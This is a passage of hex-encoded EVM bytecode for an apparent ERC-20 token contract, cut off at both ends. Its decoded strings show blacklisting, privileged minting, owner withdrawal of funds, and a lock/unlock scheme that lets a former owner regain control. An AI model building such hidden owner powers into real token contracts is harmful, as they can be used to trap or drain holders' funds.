00000000000000000000000000000000000000000000815260040161162890612e2f565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600115156004600061169e611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612e0f565b60405180910390fd5b611739611733611b47565b836123cf565b60019050919050565b600061182261174f611b47565b8461181d856040518060400160405280601e81526020017f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f000081525060066000611796611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b611b4f565b6001905092915050565b6000611840611839611b47565b8484611d1a565b6001905092915050565b6000600354905090565b61185c611b47565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e290612e2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561195b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195290612cef565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6001151560046000611a36611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab790612e0f565b60405180910390fd5b611ac981612559565b50565b600080831415611adf5760009050611b41565b60008284611aed9190612fc8565b9050828482611afc9190612f97565b14611b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3390612dcf565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb690612d6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2690612caf565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d0d9190612eef565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190612ecf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df190612e8f565b60405180910390fd5b60008111611e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3490612def565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190612d2f565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90612d2f565b60405180910390fd5b611fe0816040518060400160405280601f81526020017f5472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207581600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121159190612eef565b60405180910390a3505050565b600083831115829061216a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121619190612c6d565b60405180910390fd5b50600083856121799190613022565b9050809150509392505050565b60008082846121959190612f41565b9050838110156121da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d190612d0f565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612254576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224b90612d4f565b60405180910390fd5b6122dd816040518060400160405280601b81526020017f4275726e20616d6f756e7420657863656564732062616c616e63650000000000815250600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123358160085461268690919063ffffffff16565b600881905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123999190612eef565b60405180910390a35050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561243f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243690612e6f565b60405180910390fd5b6124548160085461218690919063ffffffff16565b6008819055506124ac81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161254d9190612eef565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156125c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c090612ccf565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006126c883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612122565b905092915050565b6000813590506126df816135ee565b92915050565b6000813590506126f481613605565b92915050565b60008151905061270981613605565b92915050565b60008135905061271e8161361c565b92915050565b6000815190506127338161361c565b92915050565b60006020828403121561274f5761274e61319d565b5b600061275d848285016126d0565b91505092915050565b6000806040838503121561277d5761277c61319d565b5b600061278b858286016126d0565b925050602061279c858286016126d0565b9150509250929050565b6000806000606084860312156127bf576127be61319d565b5b60006127cd868287016126d0565b93505060206127de868287016126d0565b92505060406127ef8682870161270f565b9150509250925092565b600080604083850312156128105761280f61319d565b5b600061281e858286016126d0565b925050602061282f858286016126e5565b9150509250929050565b600080604083850312156128505761284f61319d565b5b600061285e858286016126d0565b925050602061286f8582860161270f565b9150509250929050565b60006020828403121561288f5761288e61319d565b5b600061289d848285016126fa565b91505092915050565b6000602082840312156128bc576128bb61319d565b5b60006128ca8482850161270f565b91505092915050565b6000602082840312156128e9576128e861319d565b5b60006128f784828501612724565b91505092915050565b61290981613056565b82525050565b61291881613068565b82525050565b600061292982612f25565b6129338185612f30565b93506129438185602086016130ab565b61294c816131a2565b840191505092915050565b6000612964602383612f30565b915061296f826131b3565b604082019050919050565b6000612987601b83612f30565b915061299282613202565b602082019050919050565b60006129aa602683612f30565b91506129b58261322b565b604082019050919050565b60006129cd602883612f30565b91506129d88261327a565b604082019050919050565b60006129f0601b83612f30565b91506129fb826132c9565b602082019050919050565b6000612a13600c83612f30565b9150612a1e826132f2565b602082019050919050565b6000612a36601a83612f30565b9150612a418261331b565b602082019050919050565b6000612a59601d83612f30565b9150612a6482613344565b602082019050919050565b6000612a7c601883612f30565b9150612a878261336d565b602082019050919050565b6000612a9f601883612f30565b9150612aaa82613396565b602082019050919050565b6000612ac2602183612f30565b9150612acd826133bf565b604082019050919050565b6000612ae5602983612f30565b9150612af08261340e565b604082019050919050565b6000612b08602983612f30565b9150612b138261345d565b604082019050919050565b6000612b2b602283612f30565b9150612b36826134ac565b604082019050919050565b6000612b4e601f83612f30565b9150612b59826134fb565b602082019050919050565b6000612b71601883612f30565b9150612b7c82613524565b602082019050919050565b6000612b94601c83612f30565b9150612b9f8261354d565b602082019050919050565b6000612bb7602383612f30565b9150612bc282613576565b604082019050919050565b6000612bda601e83612f30565b9150612be5826135c5565b602082019050919050565b612bf981613094565b82525050565b612c088161309e565b82525050565b6000602082019050612c236000830184612900565b92915050565b6000604082019050612c3e6000830185612900565b612c4b6020830184612bf0565b9392505050565b6000602082019050612c67600083018461290f565b92915050565b60006020820190508181036000830152612c87818461291e565b905092915050565b60006020820190508181036000830152612ca881612957565b9050919050565b60006020820190508181036000830152612cc88161297a565b9050919050565b60006020820190508181036000830152612ce88161299d565b9050919050565b60006020820190508181036000830152612d08816129c0565b9050919050565b60006020820190508181036000830152612d28816129e3565b9050919050565b60006020820190508181036000830152612d4881612a06565b9050919050565b60006020820190508181036000830152612d6881612a29565b9050919050565b60006020820190508181036000830152612d8881612a4c565b9050919050565b60006020820190508181036000830152612da881612a6f565b9050919050565b60006020820190508181036000830152612dc881612a92565b9050919050565b60006020820190508181036000830152612de881612ab5565b9050919050565b60006020820190508181036000830152612e0881612ad8565b9050919050565b60006020820190508181036000830152612e2881612afb565b9050919050565b60006020820190508181036000830152612e4881612b1e565b9050919050565b60006020820190508181036000830152612e6881612b41565b9050919050565b60006020820190508181036000830152612e8881612b64565b9050919050565b60006020820190508181036000830152612ea881612b87565b9050919050565b60006020820190508181036000830152612ec881612baa565b9050919050565b60006020820190508181036000830152612ee881612bcd565b9050919050565b6000602082019050612f046000830184612bf0565b92915050565b6000602082019050612f1f6000830184612bff565b92915050565b600081519050919050565b600082825260208201905092915050565b6000612f4c82613094565b9150612f5783613094565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f8c57612f8b613110565b5b828201905092915050565b6000612fa282613094565b9150612fad83613094565b925082612fbd57612fbc61313f565b5b828204905092915050565b6000612fd382613094565b9150612fde83613094565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561301757613016613110565b5b828202905092915050565b600061302d82613094565b915061303883613094565b92508282101561304b5761304a613110565b5b828203905092915050565b600061306182613074565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156130c95780820151818401526020810190506130ae565b838111156130d8576000848401525b50505050565b600060028204905060018216806130f657607f821691505b6020821081141561310a5761310961316e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f43616e2774206c657420796f752074616b6520616c6c206e617469766520746f60008201527f6b656e0000000000000000000000000000000000000000000000000000000000602082015250565b7f417070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206d616e6167657220697320746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4e6574776f726b206661696c0000000000000000000000000000000000000000600082015250565b7f4275726e2066726f6d20746865207a65726f2061646472657373000000000000600082015250565b7f417070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f7573657220616c726561647920626c61636b6c69737465640000000000000000600082015250565b7f7573657220616c72656164792077686974656c69737465640000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c657220646f65736e27742068617665206f776e60008201527f6572206163636573730000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206d616e616760008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300600082015250565b7f4d696e7420746f20746865207a65726f20616464726573730000000000000000600082015250565b7f5472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c60008201527f6f636b0000000000000000000000000000000000000000000000000000000000602082015250565b7f5472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b6135f781613056565b811461360257600080fd5b50565b61360e81613068565b811461361957600080fd5b50565b61362581613094565b811461363057600080fd5b5056fe5472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220daa455c27430b56a92709243fb2f60517d98e9846a8c33fc65d2b4230d7ff01d64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101855760003560e01c8063715018a6116100d1578063a0712d681161008a578063b6c5232411610064578063b6c52324146105a1578063ba0e930a146105cc578063dd62ed3e146105f5578063f2fde38b146106325761018c565b8063a0712d68146104ea578063a457c2d714610527578063a9059cbb146105645761018c565b8063715018a6146103ec5780638366e79a14610403578063893d20e8146104405780638da5cb5b1461046b57806395d89b41146104965780639a0b7feb146104c15761018c565b806339cc8e751161013e578063537df3b611610118578063537df3b6146103465780636aca6ba81461036f5780637088fb7f1461039857806370a08231146103af5761018c565b806339cc8e75146102c957806342966c68146102e05780634838d1651461031d5761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd14610224578063313ce56714610261578063395093511461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a661065b565b6040516101b39190612c6d565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190612839565b6106ed565b6040516101f09190612c52565b60405180910390f35b34801561020557600080fd5b5061020e61070b565b60405161021b9190612eef565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906127a6565b610715565b6040516102589190612c52565b60405180910390f35b34801561026d57600080fd5b506102766107ee565b6040516102839190612f0a565b60405180910390f35b34801561029857600080fd5b506102b360048036038101906102ae9190612839565b610805565b6040516102c09190612c52565b60405180910390f35b3480156102d557600080fd5b506102de6108b8565b005b3480156102ec57600080fd5b50610307600480360381019061030291906128a6565b610a8c565b6040516103149190612c52565b60405180910390f35b34801561032957600080fd5b50610344600480360381019061033f9190612739565b610b42565b005b34801561035257600080fd5b5061036d60048036038101906103689190612739565b610cc4565b005b34801561037b57600080fd5b50610396600480360381019061039191906128a6565b610e45565b005b3480156103a457600080fd5b506103ad611011565b005b3480156103bb57600080fd5b506103d660048036038101906103d19190612739565b611101565b6040516103e39190612eef565b60405180910390f35b3480156103f857600080fd5b5061040161114a565b005b34801561040f57600080fd5b5061042a60048036038101906104259190612766565b6112a2565b6040516104379190612c52565b60405180910390f35b34801561044c57600080fd5b506104556114d0565b6040516104629190612c0e565b60405180910390f35b34801561047757600080fd5b506104806114df565b60405161048d9190612c0e565b60405180910390f35b3480156104a257600080fd5b506104ab611508565b6040516104b89190612c6d565b60405180910390f35b3480156104cd57600080fd5b506104e860048036038101906104e391906127f9565b61159a565b005b3480156104f657600080fd5b50610511600480360381019061050c91906128a6565b61168c565b60405161051e9190612c52565b60405180910390f35b34801561053357600080fd5b5061054e60048036038101906105499190612839565b611742565b60405161055b9190612c52565b60405180910390f35b34801561057057600080fd5b5061058b60048036038101906105869190612839565b61182c565b6040516105989190612c52565b60405180910390f35b3480156105ad57600080fd5b506105b661184a565b6040516105c39190612eef565b60405180910390f35b3480156105d857600080fd5b506105f360048036038101906105ee9190612739565b611854565b005b34801561060157600080fd5b5061061c60048036038101906106179190612766565b61199f565b6040516106299190612eef565b60405180910390f35b34801561063e57600080fd5b5061065960048036038101906106549190612739565b611a26565b005b6060600c805461066a906130de565b80601f0160208091040260200160405190810160405280929190818152602001828054610696906130de565b80156106e35780601f106106b8576101008083540402835291602001916106e3565b820191906000526020600020905b8154815290600101906020018083116106c657829003601f168201915b5050505050905090565b60006107016106fa611b47565b8484611b4f565b6001905092915050565b6000600854905090565b6000610722848484611d1a565b6107e38461072e611b47565b6107de8560405180606001604052806021815260200161363460219139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610794611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b611b4f565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60006108ae610812611b47565b846108a98560066000610823611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b611b4f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612eaf565b60405180910390fd5b600354421161098c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098390612e4f565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006001151560046000610a9e611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610b28576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1f90612e0f565b60405180910390fd5b610b39610b33611b47565b836121e4565b60019050919050565b6001151560046000610b52611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610bdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd390612e0f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6090612d8f565b60405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6001151560046000610cd4611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610d5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5590612e0f565b60405180910390fd5b600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610dea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de190612daf565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6001151560046000610e55611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514610edf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed690612e0f565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508042610f8d9190612f41565b600381905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6001151560046000611021611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146110ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a290612e0f565b60405180910390fd5b60004790506110b86123a5565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156110fd573d6000803e3d6000fd5b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600115156004600061115a611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515146111e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111db90612e0f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600060011515600460006112b4611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151461133e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133590612e0f565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490612c8f565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113e89190612c0e565b60206040518083038186803b15801561140057600080fd5b505afa158015611414573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143891906128d3565b90508373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401611475929190612c29565b602060405180830381600087803b15801561148f57600080fd5b505af11580156114a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114c79190612879565b91505092915050565b60006114da6114df565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600b8054611517906130de565b80601f0160208091040260200160405190810160405280929190818152602001828054611543906130de565b80156115905780601f1061156557610100808354040283529160200191611590565b820191906000526020600020905b81548152906001019060200180831161157357829003601f168201915b5050505050905090565b6115a2611b47565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611631576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162890612e2f565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600115156004600061169e611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611728576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171f90612e0f565b60405180910390fd5b611739611733611b47565b836123cf565b60019050919050565b600061182261174f611b47565b8461181d856040518060400160405280601e81526020017f44656372656173656420616c6c6f77616e63652062656c6f77207a65726f000081525060066000611796611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b611b4f565b6001905092915050565b6000611840611839611b47565b8484611d1a565b6001905092915050565b6000600354905090565b61185c611b47565b73ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e290612e2f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561195b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161195290612cef565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6001151560046000611a36611b47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514611ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab790612e0f565b60405180910390fd5b611ac981612559565b50565b600080831415611adf5760009050611b41565b60008284611aed9190612fc8565b9050828482611afc9190612f97565b14611b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3390612dcf565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb690612d6f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2690612caf565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d0d9190612eef565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8190612ecf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dfa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df190612e8f565b60405180910390fd5b60008111611e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3490612def565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec190612d2f565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4e90612d2f565b60405180910390fd5b611fe0816040518060400160405280601f81526020017f5472616e7366657220616d6f756e7420657863656564732062616c616e636500815250600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121229092919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061207581600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461218690919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952b